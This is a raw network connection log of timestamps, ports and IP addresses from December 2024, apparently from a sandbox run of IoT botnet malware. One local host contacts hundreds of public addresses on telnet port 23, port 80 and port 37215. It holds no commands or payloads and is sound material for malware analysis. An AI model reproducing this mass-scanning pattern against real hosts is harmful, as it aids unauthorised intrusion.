Dec 3, 2024 21:47:24.206024885 CET	40955	23	192.168.2.13	24.114.108.157
Dec 3, 2024 21:47:24.206032991 CET	40955	23	192.168.2.13	19.121.49.199
Dec 3, 2024 21:47:24.206034899 CET	40955	23	192.168.2.13	66.148.91.144
Dec 3, 2024 21:47:24.206048012 CET	40955	23	192.168.2.13	216.94.90.29
Dec 3, 2024 21:47:24.206054926 CET	40955	23	192.168.2.13	205.212.167.150
Dec 3, 2024 21:47:24.206070900 CET	40955	23	192.168.2.13	83.17.231.201
Dec 3, 2024 21:47:24.206073046 CET	40955	23	192.168.2.13	143.100.41.82
Dec 3, 2024 21:47:24.206077099 CET	40955	23	192.168.2.13	173.148.215.221
Dec 3, 2024 21:47:24.206079006 CET	40955	23	192.168.2.13	82.21.18.44
Dec 3, 2024 21:47:24.206082106 CET	40955	23	192.168.2.13	140.101.66.41
Dec 3, 2024 21:47:24.206093073 CET	40955	23	192.168.2.13	184.168.84.180
Dec 3, 2024 21:47:24.206100941 CET	40955	23	192.168.2.13	59.189.105.78
Dec 3, 2024 21:47:24.206114054 CET	40955	23	192.168.2.13	110.158.35.101
Dec 3, 2024 21:47:24.206114054 CET	40955	23	192.168.2.13	114.60.40.177
Dec 3, 2024 21:47:24.206116915 CET	40955	23	192.168.2.13	58.231.227.197
Dec 3, 2024 21:47:24.206120968 CET	40955	23	192.168.2.13	67.38.91.173
Dec 3, 2024 21:47:24.206129074 CET	40955	23	192.168.2.13	88.207.79.92
Dec 3, 2024 21:47:24.206129074 CET	40955	23	192.168.2.13	62.167.130.194
Dec 3, 2024 21:47:24.206140995 CET	40955	23	192.168.2.13	93.215.15.117
Dec 3, 2024 21:47:24.206154108 CET	40955	23	192.168.2.13	44.105.145.129
Dec 3, 2024 21:47:24.206154108 CET	40955	23	192.168.2.13	174.253.0.233
Dec 3, 2024 21:47:24.206156969 CET	40955	23	192.168.2.13	81.92.154.238
Dec 3, 2024 21:47:24.206159115 CET	40955	23	192.168.2.13	208.54.135.94
Dec 3, 2024 21:47:24.206177950 CET	40955	23	192.168.2.13	89.206.55.84
Dec 3, 2024 21:47:24.206188917 CET	40955	23	192.168.2.13	90.92.62.147
Dec 3, 2024 21:47:24.206193924 CET	40955	23	192.168.2.13	106.58.26.188
Dec 3, 2024 21:47:24.206195116 CET	40955	23	192.168.2.13	54.205.112.171
Dec 3, 2024 21:47:24.206202984 CET	40955	23	192.168.2.13	9.39.0.225
Dec 3, 2024 21:47:24.206221104 CET	40955	23	192.168.2.13	133.203.92.160
Dec 3, 2024 21:47:24.206223011 CET	40955	23	192.168.2.13	195.224.68.142
Dec 3, 2024 21:47:24.206228018 CET	40955	23	192.168.2.13	65.242.50.72
Dec 3, 2024 21:47:24.206228018 CET	40955	23	192.168.2.13	68.116.39.198
Dec 3, 2024 21:47:24.206234932 CET	40955	23	192.168.2.13	212.29.107.90
Dec 3, 2024 21:47:24.206238031 CET	40955	23	192.168.2.13	17.180.201.249
Dec 3, 2024 21:47:24.206238031 CET	40955	23	192.168.2.13	59.170.161.177
Dec 3, 2024 21:47:24.206243038 CET	40955	23	192.168.2.13	53.115.162.160
Dec 3, 2024 21:47:24.206258059 CET	40955	23	192.168.2.13	117.228.62.190
Dec 3, 2024 21:47:24.206259966 CET	40955	23	192.168.2.13	95.218.168.133
Dec 3, 2024 21:47:24.206315041 CET	40955	23	192.168.2.13	100.196.176.113
Dec 3, 2024 21:47:24.206322908 CET	40955	23	192.168.2.13	185.112.198.133
Dec 3, 2024 21:47:24.206335068 CET	40955	23	192.168.2.13	37.204.239.100
Dec 3, 2024 21:47:24.206337929 CET	40955	23	192.168.2.13	173.121.218.219
Dec 3, 2024 21:47:24.206351042 CET	40955	23	192.168.2.13	187.235.25.94
Dec 3, 2024 21:47:24.206360102 CET	40955	23	192.168.2.13	186.0.231.15
Dec 3, 2024 21:47:24.206362009 CET	40955	23	192.168.2.13	183.199.34.126
Dec 3, 2024 21:47:24.206367016 CET	40955	23	192.168.2.13	156.89.72.82
Dec 3, 2024 21:47:24.206373930 CET	40955	23	192.168.2.13	79.86.91.53
Dec 3, 2024 21:47:24.206381083 CET	40955	23	192.168.2.13	34.66.136.132
Dec 3, 2024 21:47:24.206393003 CET	40955	23	192.168.2.13	211.106.119.87
Dec 3, 2024 21:47:24.206403017 CET	40955	23	192.168.2.13	151.51.132.4
Dec 3, 2024 21:47:24.206406116 CET	40955	23	192.168.2.13	61.95.141.252
Dec 3, 2024 21:47:24.206415892 CET	40955	23	192.168.2.13	167.102.89.170
Dec 3, 2024 21:47:24.206418037 CET	40955	23	192.168.2.13	51.174.39.59
Dec 3, 2024 21:47:24.206427097 CET	40955	23	192.168.2.13	5.245.63.110
Dec 3, 2024 21:47:24.206429005 CET	40955	23	192.168.2.13	137.131.164.192
Dec 3, 2024 21:47:24.206446886 CET	40955	23	192.168.2.13	198.80.128.238
Dec 3, 2024 21:47:24.206448078 CET	40955	23	192.168.2.13	110.206.57.200
Dec 3, 2024 21:47:24.206448078 CET	40955	23	192.168.2.13	60.244.42.77
Dec 3, 2024 21:47:24.206456900 CET	40955	23	192.168.2.13	19.58.232.233
Dec 3, 2024 21:47:24.206466913 CET	40955	23	192.168.2.13	202.136.139.136
Dec 3, 2024 21:47:24.206471920 CET	40955	23	192.168.2.13	53.58.155.117
Dec 3, 2024 21:47:24.206478119 CET	40955	23	192.168.2.13	62.4.133.145
Dec 3, 2024 21:47:24.206480026 CET	40955	23	192.168.2.13	177.174.159.166
Dec 3, 2024 21:47:24.206490040 CET	40955	23	192.168.2.13	151.139.29.233
Dec 3, 2024 21:47:24.206491947 CET	40955	23	192.168.2.13	137.232.58.169
Dec 3, 2024 21:47:24.206491947 CET	40955	23	192.168.2.13	164.170.145.251
Dec 3, 2024 21:47:24.206501961 CET	40955	23	192.168.2.13	191.97.9.168
Dec 3, 2024 21:47:24.206522942 CET	40955	23	192.168.2.13	219.103.2.192
Dec 3, 2024 21:47:24.206523895 CET	40955	23	192.168.2.13	193.246.184.21
Dec 3, 2024 21:47:24.206525087 CET	40955	23	192.168.2.13	54.176.52.234
Dec 3, 2024 21:47:24.206545115 CET	40955	23	192.168.2.13	121.33.117.100
Dec 3, 2024 21:47:24.206545115 CET	40955	23	192.168.2.13	2.165.45.224
Dec 3, 2024 21:47:24.206551075 CET	40955	23	192.168.2.13	197.5.200.61
Dec 3, 2024 21:47:24.206562042 CET	40955	23	192.168.2.13	183.102.158.229
Dec 3, 2024 21:47:24.206562996 CET	40955	23	192.168.2.13	132.72.156.225
Dec 3, 2024 21:47:24.206564903 CET	40955	23	192.168.2.13	145.42.130.174
Dec 3, 2024 21:47:24.206574917 CET	40955	23	192.168.2.13	113.244.120.240
Dec 3, 2024 21:47:24.206587076 CET	40955	23	192.168.2.13	114.174.195.13
Dec 3, 2024 21:47:24.206593037 CET	40955	23	192.168.2.13	183.114.178.211
Dec 3, 2024 21:47:24.206594944 CET	40955	23	192.168.2.13	43.118.115.226
Dec 3, 2024 21:47:24.206602097 CET	40955	23	192.168.2.13	102.207.17.176
Dec 3, 2024 21:47:24.206612110 CET	40955	23	192.168.2.13	195.93.166.219
Dec 3, 2024 21:47:24.206618071 CET	40955	23	192.168.2.13	177.25.6.125
Dec 3, 2024 21:47:24.206624985 CET	40955	23	192.168.2.13	67.187.129.231
Dec 3, 2024 21:47:24.206628084 CET	40955	23	192.168.2.13	145.51.66.170
Dec 3, 2024 21:47:24.206628084 CET	40955	23	192.168.2.13	189.237.96.75
Dec 3, 2024 21:47:24.206638098 CET	40955	23	192.168.2.13	118.195.175.52
Dec 3, 2024 21:47:24.206648111 CET	40955	23	192.168.2.13	196.25.78.193
Dec 3, 2024 21:47:24.206650972 CET	40955	23	192.168.2.13	174.45.29.81
Dec 3, 2024 21:47:24.206650972 CET	40955	23	192.168.2.13	180.38.211.136
Dec 3, 2024 21:47:24.206660986 CET	40955	23	192.168.2.13	167.48.237.217
Dec 3, 2024 21:47:24.206666946 CET	40955	23	192.168.2.13	82.26.118.209
Dec 3, 2024 21:47:24.206671953 CET	40955	23	192.168.2.13	31.128.74.135
Dec 3, 2024 21:47:24.206685066 CET	40955	23	192.168.2.13	136.22.213.70
Dec 3, 2024 21:47:24.206690073 CET	40955	23	192.168.2.13	95.169.170.76
Dec 3, 2024 21:47:24.206697941 CET	40955	23	192.168.2.13	133.230.243.211
Dec 3, 2024 21:47:24.206701040 CET	40955	23	192.168.2.13	47.121.56.250
Dec 3, 2024 21:47:24.206690073 CET	40955	23	192.168.2.13	40.220.161.221
Dec 3, 2024 21:47:24.206707954 CET	40955	23	192.168.2.13	34.237.130.213
Dec 3, 2024 21:47:24.206712961 CET	40955	23	192.168.2.13	91.59.196.64
Dec 3, 2024 21:47:24.206723928 CET	40955	23	192.168.2.13	115.64.226.186
Dec 3, 2024 21:47:24.206728935 CET	40955	23	192.168.2.13	170.94.83.28
Dec 3, 2024 21:47:24.206738949 CET	40955	23	192.168.2.13	163.91.128.42
Dec 3, 2024 21:47:24.206751108 CET	40955	23	192.168.2.13	116.225.249.203
Dec 3, 2024 21:47:24.206789017 CET	40955	23	192.168.2.13	176.227.195.103
Dec 3, 2024 21:47:24.206790924 CET	40955	23	192.168.2.13	177.166.125.209
Dec 3, 2024 21:47:24.206790924 CET	40955	23	192.168.2.13	53.62.84.163
Dec 3, 2024 21:47:24.206790924 CET	40955	23	192.168.2.13	213.250.41.126
Dec 3, 2024 21:47:24.206793070 CET	40955	23	192.168.2.13	216.253.21.200
Dec 3, 2024 21:47:24.206790924 CET	40955	23	192.168.2.13	123.71.189.194
Dec 3, 2024 21:47:24.206793070 CET	40955	23	192.168.2.13	198.160.133.126
Dec 3, 2024 21:47:24.206790924 CET	40955	23	192.168.2.13	47.178.7.242
Dec 3, 2024 21:47:24.206790924 CET	40955	23	192.168.2.13	88.212.200.105
Dec 3, 2024 21:47:24.206819057 CET	40955	23	192.168.2.13	124.123.244.114
Dec 3, 2024 21:47:24.206820965 CET	40955	23	192.168.2.13	206.179.86.14
Dec 3, 2024 21:47:24.206820965 CET	40955	23	192.168.2.13	40.184.209.216
Dec 3, 2024 21:47:24.206820965 CET	40955	23	192.168.2.13	123.122.6.157
Dec 3, 2024 21:47:24.206820965 CET	40955	23	192.168.2.13	47.20.115.189
Dec 3, 2024 21:47:24.206820965 CET	40955	23	192.168.2.13	212.224.52.204
Dec 3, 2024 21:47:24.206824064 CET	40955	23	192.168.2.13	65.178.15.52
Dec 3, 2024 21:47:24.206830978 CET	40955	23	192.168.2.13	91.185.54.120
Dec 3, 2024 21:47:24.206830978 CET	40955	23	192.168.2.13	210.62.220.91
Dec 3, 2024 21:47:24.206830978 CET	40955	23	192.168.2.13	27.73.146.93
Dec 3, 2024 21:47:24.206832886 CET	40955	23	192.168.2.13	162.122.106.106
Dec 3, 2024 21:47:24.206831932 CET	40955	23	192.168.2.13	45.231.90.242
Dec 3, 2024 21:47:24.206832886 CET	40955	23	192.168.2.13	114.225.174.140
Dec 3, 2024 21:47:24.206832886 CET	40955	23	192.168.2.13	222.30.79.75
Dec 3, 2024 21:47:24.206835985 CET	40955	23	192.168.2.13	4.220.15.73
Dec 3, 2024 21:47:24.206836939 CET	40955	23	192.168.2.13	100.222.68.190
Dec 3, 2024 21:47:24.206836939 CET	40955	23	192.168.2.13	104.117.101.110
Dec 3, 2024 21:47:24.206836939 CET	40955	23	192.168.2.13	202.84.230.70
Dec 3, 2024 21:47:24.206836939 CET	40955	23	192.168.2.13	153.189.199.107
Dec 3, 2024 21:47:24.206836939 CET	40955	23	192.168.2.13	109.44.83.136
Dec 3, 2024 21:47:24.206840038 CET	40955	23	192.168.2.13	182.173.43.99
Dec 3, 2024 21:47:24.206840038 CET	40955	23	192.168.2.13	44.228.223.122
Dec 3, 2024 21:47:24.206849098 CET	40955	23	192.168.2.13	87.210.33.46
Dec 3, 2024 21:47:24.206850052 CET	40955	23	192.168.2.13	106.84.12.182
Dec 3, 2024 21:47:24.206852913 CET	40955	23	192.168.2.13	221.125.19.210
Dec 3, 2024 21:47:24.206854105 CET	40955	23	192.168.2.13	102.38.116.161
Dec 3, 2024 21:47:24.206855059 CET	40955	23	192.168.2.13	18.11.38.200
Dec 3, 2024 21:47:24.206861019 CET	40955	23	192.168.2.13	19.105.127.136
Dec 3, 2024 21:47:24.206862926 CET	40955	23	192.168.2.13	48.160.166.129
Dec 3, 2024 21:47:24.206864119 CET	40955	23	192.168.2.13	1.225.185.36
Dec 3, 2024 21:47:24.206871986 CET	40955	23	192.168.2.13	46.180.136.131
Dec 3, 2024 21:47:24.206881046 CET	40955	23	192.168.2.13	139.88.31.1
Dec 3, 2024 21:47:24.206882000 CET	40955	23	192.168.2.13	106.83.209.56
Dec 3, 2024 21:47:24.206887007 CET	40955	23	192.168.2.13	166.51.114.84
Dec 3, 2024 21:47:24.206893921 CET	40955	23	192.168.2.13	169.38.19.102
Dec 3, 2024 21:47:24.206893921 CET	40955	23	192.168.2.13	164.220.163.92
Dec 3, 2024 21:47:24.206898928 CET	40955	23	192.168.2.13	124.174.196.124
Dec 3, 2024 21:47:24.206907034 CET	40955	23	192.168.2.13	90.136.137.168
Dec 3, 2024 21:47:24.206914902 CET	40955	23	192.168.2.13	212.55.82.100
Dec 3, 2024 21:47:24.206918955 CET	40955	23	192.168.2.13	58.122.92.135
Dec 3, 2024 21:47:24.206918955 CET	40955	23	192.168.2.13	104.10.53.45
Dec 3, 2024 21:47:24.206919909 CET	40955	23	192.168.2.13	76.160.156.249
Dec 3, 2024 21:47:24.206926107 CET	40955	23	192.168.2.13	221.227.9.47
Dec 3, 2024 21:47:24.206937075 CET	40955	23	192.168.2.13	103.139.32.11
Dec 3, 2024 21:47:24.206938982 CET	40955	23	192.168.2.13	131.90.143.150
Dec 3, 2024 21:47:24.206948996 CET	40955	23	192.168.2.13	130.48.125.31
Dec 3, 2024 21:47:24.206968069 CET	40955	23	192.168.2.13	67.83.213.30
Dec 3, 2024 21:47:24.206974030 CET	40955	23	192.168.2.13	182.156.27.194
Dec 3, 2024 21:47:24.206960917 CET	40955	23	192.168.2.13	96.205.96.173
Dec 3, 2024 21:47:24.206986904 CET	40955	23	192.168.2.13	61.232.152.125
Dec 3, 2024 21:47:24.206986904 CET	40955	23	192.168.2.13	110.55.104.17
Dec 3, 2024 21:47:24.206986904 CET	40955	23	192.168.2.13	138.191.25.9
Dec 3, 2024 21:47:24.206998110 CET	40955	23	192.168.2.13	136.189.185.74
Dec 3, 2024 21:47:24.206999063 CET	40955	23	192.168.2.13	211.71.194.111
Dec 3, 2024 21:47:24.207000017 CET	40955	23	192.168.2.13	115.108.0.15
Dec 3, 2024 21:47:24.207005978 CET	40955	23	192.168.2.13	9.129.89.131
Dec 3, 2024 21:47:24.207015991 CET	40955	23	192.168.2.13	91.250.225.91
Dec 3, 2024 21:47:24.207019091 CET	40955	23	192.168.2.13	180.178.59.117
Dec 3, 2024 21:47:24.207022905 CET	40955	23	192.168.2.13	146.107.34.210
Dec 3, 2024 21:47:24.207026958 CET	40955	23	192.168.2.13	48.255.200.28
Dec 3, 2024 21:47:24.207036018 CET	40955	23	192.168.2.13	181.173.53.20
Dec 3, 2024 21:47:24.207039118 CET	40955	23	192.168.2.13	85.119.253.120
Dec 3, 2024 21:47:24.207045078 CET	40955	23	192.168.2.13	65.121.129.69
Dec 3, 2024 21:47:24.207046986 CET	40955	23	192.168.2.13	130.243.179.76
Dec 3, 2024 21:47:24.207060099 CET	40955	23	192.168.2.13	180.190.240.255
Dec 3, 2024 21:47:24.207070112 CET	40955	23	192.168.2.13	24.229.117.213
Dec 3, 2024 21:47:24.207086086 CET	40955	23	192.168.2.13	45.25.78.24
Dec 3, 2024 21:47:24.207086086 CET	40955	23	192.168.2.13	123.78.78.118
Dec 3, 2024 21:47:24.207086086 CET	40955	23	192.168.2.13	34.102.101.31
Dec 3, 2024 21:47:24.207093954 CET	40955	23	192.168.2.13	76.64.187.154
Dec 3, 2024 21:47:24.207108974 CET	40955	23	192.168.2.13	158.94.175.250
Dec 3, 2024 21:47:24.207112074 CET	40955	23	192.168.2.13	206.170.251.237
Dec 3, 2024 21:47:24.207118034 CET	40955	23	192.168.2.13	158.188.96.110
Dec 3, 2024 21:47:24.207119942 CET	40955	23	192.168.2.13	74.221.52.17
Dec 3, 2024 21:47:24.207120895 CET	40955	23	192.168.2.13	86.6.247.34
Dec 3, 2024 21:47:24.207120895 CET	40955	23	192.168.2.13	189.28.104.252
Dec 3, 2024 21:47:24.207125902 CET	40955	23	192.168.2.13	190.8.165.183
Dec 3, 2024 21:47:24.207134008 CET	40955	23	192.168.2.13	186.83.114.216
Dec 3, 2024 21:47:24.207133055 CET	40955	23	192.168.2.13	135.87.105.233
Dec 3, 2024 21:47:24.207134008 CET	40955	23	192.168.2.13	165.165.33.179
Dec 3, 2024 21:47:24.207137108 CET	40955	23	192.168.2.13	87.15.15.244
Dec 3, 2024 21:47:24.207134008 CET	40955	23	192.168.2.13	23.22.241.195
Dec 3, 2024 21:47:24.207134008 CET	40955	23	192.168.2.13	219.104.240.214
Dec 3, 2024 21:47:24.207143068 CET	40955	23	192.168.2.13	98.179.216.226
Dec 3, 2024 21:47:24.207150936 CET	40955	23	192.168.2.13	97.57.40.138
Dec 3, 2024 21:47:24.207160950 CET	40955	23	192.168.2.13	108.233.64.212
Dec 3, 2024 21:47:24.207161903 CET	40955	23	192.168.2.13	116.2.234.150
Dec 3, 2024 21:47:24.207170010 CET	40955	23	192.168.2.13	196.80.99.138
Dec 3, 2024 21:47:24.207179070 CET	40955	23	192.168.2.13	67.164.8.43
Dec 3, 2024 21:47:24.207184076 CET	40955	23	192.168.2.13	133.243.38.114
Dec 3, 2024 21:47:24.207195997 CET	40955	23	192.168.2.13	164.135.227.32
Dec 3, 2024 21:47:24.207206011 CET	40955	23	192.168.2.13	174.31.226.246
Dec 3, 2024 21:47:24.207206964 CET	40955	23	192.168.2.13	101.199.28.92
Dec 3, 2024 21:47:24.207218885 CET	40955	23	192.168.2.13	12.202.205.227
Dec 3, 2024 21:47:24.207223892 CET	40955	23	192.168.2.13	120.70.211.115
Dec 3, 2024 21:47:24.207226992 CET	40955	23	192.168.2.13	179.122.10.206
Dec 3, 2024 21:47:24.207233906 CET	40955	23	192.168.2.13	110.135.39.165
Dec 3, 2024 21:47:24.207237005 CET	40955	23	192.168.2.13	143.117.113.95
Dec 3, 2024 21:47:24.207252979 CET	40955	23	192.168.2.13	202.113.141.198
Dec 3, 2024 21:47:24.207254887 CET	40955	23	192.168.2.13	175.74.82.184
Dec 3, 2024 21:47:24.207254887 CET	40955	23	192.168.2.13	86.174.45.240
Dec 3, 2024 21:47:24.207261086 CET	40955	23	192.168.2.13	63.29.1.237
Dec 3, 2024 21:47:24.207263947 CET	40955	23	192.168.2.13	194.160.49.151
Dec 3, 2024 21:47:24.207263947 CET	40955	23	192.168.2.13	201.48.236.159
Dec 3, 2024 21:47:24.212596893 CET	59678	23	192.168.2.13	84.218.50.70
Dec 3, 2024 21:47:24.212598085 CET	53712	23	192.168.2.13	192.105.81.173
Dec 3, 2024 21:47:24.212600946 CET	57118	23	192.168.2.13	34.210.178.7
Dec 3, 2024 21:47:24.212608099 CET	37226	23	192.168.2.13	199.141.29.197
Dec 3, 2024 21:47:24.212622881 CET	37400	80	192.168.2.13	59.135.235.143
Dec 3, 2024 21:47:24.212622881 CET	36506	80	192.168.2.13	89.36.101.40
Dec 3, 2024 21:47:24.212624073 CET	58696	23	192.168.2.13	23.197.79.26
Dec 3, 2024 21:47:24.212624073 CET	33062	80	192.168.2.13	75.37.8.14
Dec 3, 2024 21:47:24.212627888 CET	34694	80	192.168.2.13	4.254.108.72
Dec 3, 2024 21:47:24.212629080 CET	47050	80	192.168.2.13	57.82.148.22
Dec 3, 2024 21:47:24.212632895 CET	41370	80	192.168.2.13	20.156.141.133
Dec 3, 2024 21:47:24.212632895 CET	55316	80	192.168.2.13	103.231.141.13
Dec 3, 2024 21:47:24.212646008 CET	56570	80	192.168.2.13	107.168.161.112
Dec 3, 2024 21:47:24.212647915 CET	39938	80	192.168.2.13	163.219.199.68
Dec 3, 2024 21:47:24.212644100 CET	52238	80	192.168.2.13	172.164.246.48
Dec 3, 2024 21:47:24.212666035 CET	54764	80	192.168.2.13	110.159.128.181
Dec 3, 2024 21:47:24.212673903 CET	35620	80	192.168.2.13	77.236.95.251
Dec 3, 2024 21:47:24.212675095 CET	58104	80	192.168.2.13	112.98.164.182
Dec 3, 2024 21:47:24.212675095 CET	59988	80	192.168.2.13	49.166.162.43
Dec 3, 2024 21:47:24.212676048 CET	43152	80	192.168.2.13	158.208.19.55
Dec 3, 2024 21:47:24.212676048 CET	50372	80	192.168.2.13	221.101.135.2
Dec 3, 2024 21:47:24.212685108 CET	38856	80	192.168.2.13	34.26.128.234
Dec 3, 2024 21:47:24.212698936 CET	34484	80	192.168.2.13	98.184.32.108
Dec 3, 2024 21:47:24.212701082 CET	41948	80	192.168.2.13	47.191.172.4
Dec 3, 2024 21:47:24.212704897 CET	47008	80	192.168.2.13	37.33.29.201
Dec 3, 2024 21:47:24.212704897 CET	45436	80	192.168.2.13	198.145.246.234
Dec 3, 2024 21:47:24.212704897 CET	53870	80	192.168.2.13	94.17.52.87
Dec 3, 2024 21:47:24.220845938 CET	37215	34043	197.131.66.97	192.168.2.13
Dec 3, 2024 21:47:24.220861912 CET	37215	34043	197.21.36.108	192.168.2.13
Dec 3, 2024 21:47:24.220896959 CET	37215	34043	197.57.94.143	192.168.2.13
Dec 3, 2024 21:47:24.220912933 CET	37215	34043	41.196.63.217	192.168.2.13
Dec 3, 2024 21:47:24.220918894 CET	34043	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:24.220933914 CET	37215	34043	41.252.167.141	192.168.2.13
Dec 3, 2024 21:47:24.220941067 CET	34043	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:24.220941067 CET	34043	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:24.220947027 CET	34043	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:24.220968962 CET	34043	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:24.220983982 CET	37215	34043	156.167.186.216	192.168.2.13
Dec 3, 2024 21:47:24.221009016 CET	37215	34043	41.78.110.252	192.168.2.13
Dec 3, 2024 21:47:24.221019983 CET	34043	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:24.221029997 CET	37215	34043	197.89.191.125	192.168.2.13
Dec 3, 2024 21:47:24.221045017 CET	34043	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:24.221049070 CET	37215	34043	156.9.237.76	192.168.2.13
Dec 3, 2024 21:47:24.221071005 CET	34043	37215	192.168.2.13	197.89.191.125
Dec 3, 2024 21:47:24.221074104 CET	37215	34043	156.224.249.242	192.168.2.13
Dec 3, 2024 21:47:24.221091032 CET	34043	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:24.221110106 CET	37215	34043	197.66.54.252	192.168.2.13
Dec 3, 2024 21:47:24.221108913 CET	34043	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:24.221143961 CET	37215	34043	41.59.158.178	192.168.2.13
Dec 3, 2024 21:47:24.221144915 CET	34043	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:24.221232891 CET	34043	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:24.221757889 CET	37215	34043	156.137.59.179	192.168.2.13
Dec 3, 2024 21:47:24.221793890 CET	37215	34043	156.186.192.169	192.168.2.13
Dec 3, 2024 21:47:24.221802950 CET	34043	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:24.221803904 CET	37215	34043	156.1.31.252	192.168.2.13
Dec 3, 2024 21:47:24.221843958 CET	34043	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:24.221870899 CET	37215	34043	156.227.147.148	192.168.2.13
Dec 3, 2024 21:47:24.221884966 CET	37215	34043	197.85.113.143	192.168.2.13
Dec 3, 2024 21:47:24.221884966 CET	34043	37215	192.168.2.13	156.1.31.252
Dec 3, 2024 21:47:24.221913099 CET	37215	34043	41.206.100.21	192.168.2.13
Dec 3, 2024 21:47:24.221927881 CET	37215	34043	41.11.208.38	192.168.2.13
Dec 3, 2024 21:47:24.221940994 CET	37215	34043	197.101.126.167	192.168.2.13
Dec 3, 2024 21:47:24.221945047 CET	34043	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:24.221945047 CET	34043	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:24.221951962 CET	34043	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:24.221962929 CET	34043	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:24.221966028 CET	37215	34043	41.204.185.224	192.168.2.13
Dec 3, 2024 21:47:24.221975088 CET	34043	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:24.221983910 CET	37215	34043	197.105.1.48	192.168.2.13
Dec 3, 2024 21:47:24.222008944 CET	37215	34043	156.18.176.47	192.168.2.13
Dec 3, 2024 21:47:24.222022057 CET	37215	34043	197.191.47.123	192.168.2.13
Dec 3, 2024 21:47:24.222023010 CET	34043	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:24.222037077 CET	37215	34043	156.244.170.80	192.168.2.13
Dec 3, 2024 21:47:24.222038984 CET	34043	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:24.222049952 CET	34043	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:24.222049952 CET	34043	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:24.222064018 CET	37215	34043	156.241.177.227	192.168.2.13
Dec 3, 2024 21:47:24.222071886 CET	34043	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:24.222083092 CET	37215	34043	197.189.180.232	192.168.2.13
Dec 3, 2024 21:47:24.222107887 CET	34043	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:24.222116947 CET	37215	34043	197.241.234.235	192.168.2.13
Dec 3, 2024 21:47:24.222137928 CET	34043	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:24.222160101 CET	34043	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:24.222162008 CET	37215	34043	156.41.38.126	192.168.2.13
Dec 3, 2024 21:47:24.222172022 CET	37215	34043	41.151.149.109	192.168.2.13
Dec 3, 2024 21:47:24.222196102 CET	34043	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:24.222204924 CET	37215	34043	197.155.147.73	192.168.2.13
Dec 3, 2024 21:47:24.222218037 CET	34043	37215	192.168.2.13	41.151.149.109
Dec 3, 2024 21:47:24.222220898 CET	37215	34043	197.22.134.226	192.168.2.13
Dec 3, 2024 21:47:24.222239017 CET	34043	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:24.222265005 CET	34043	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:24.222265959 CET	37215	34043	156.142.143.175	192.168.2.13
Dec 3, 2024 21:47:24.222291946 CET	37215	34043	156.155.65.188	192.168.2.13
Dec 3, 2024 21:47:24.222310066 CET	34043	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:24.222310066 CET	37215	34043	41.26.12.27	192.168.2.13
Dec 3, 2024 21:47:24.222333908 CET	34043	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:24.222351074 CET	34043	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:24.222357988 CET	37215	34043	41.159.45.219	192.168.2.13
Dec 3, 2024 21:47:24.222372055 CET	37215	34043	197.217.135.4	192.168.2.13
Dec 3, 2024 21:47:24.222400904 CET	34043	37215	192.168.2.13	41.159.45.219
Dec 3, 2024 21:47:24.222414970 CET	34043	37215	192.168.2.13	197.217.135.4
Dec 3, 2024 21:47:24.222443104 CET	37215	34043	41.70.169.235	192.168.2.13
Dec 3, 2024 21:47:24.222454071 CET	37215	34043	156.120.218.74	192.168.2.13
Dec 3, 2024 21:47:24.222470999 CET	37215	34043	197.127.150.255	192.168.2.13
Dec 3, 2024 21:47:24.222486973 CET	34043	37215	192.168.2.13	41.70.169.235
Dec 3, 2024 21:47:24.222490072 CET	34043	37215	192.168.2.13	156.120.218.74
Dec 3, 2024 21:47:24.222506046 CET	34043	37215	192.168.2.13	197.127.150.255
Dec 3, 2024 21:47:24.222954988 CET	37215	34043	41.130.219.75	192.168.2.13
Dec 3, 2024 21:47:24.223001957 CET	34043	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:24.223033905 CET	37215	34043	156.115.33.143	192.168.2.13
Dec 3, 2024 21:47:24.223051071 CET	37215	34043	197.49.143.54	192.168.2.13
Dec 3, 2024 21:47:24.223064899 CET	37215	34043	197.66.11.86	192.168.2.13
Dec 3, 2024 21:47:24.223074913 CET	34043	37215	192.168.2.13	156.115.33.143
Dec 3, 2024 21:47:24.223090887 CET	34043	37215	192.168.2.13	197.49.143.54
Dec 3, 2024 21:47:24.223097086 CET	37215	34043	197.140.239.213	192.168.2.13
Dec 3, 2024 21:47:24.223097086 CET	34043	37215	192.168.2.13	197.66.11.86
Dec 3, 2024 21:47:24.223117113 CET	37215	34043	197.51.35.142	192.168.2.13
Dec 3, 2024 21:47:24.223140001 CET	34043	37215	192.168.2.13	197.140.239.213
Dec 3, 2024 21:47:24.223161936 CET	34043	37215	192.168.2.13	197.51.35.142
Dec 3, 2024 21:47:24.223175049 CET	37215	34043	197.216.132.14	192.168.2.13
Dec 3, 2024 21:47:24.223212957 CET	34043	37215	192.168.2.13	197.216.132.14
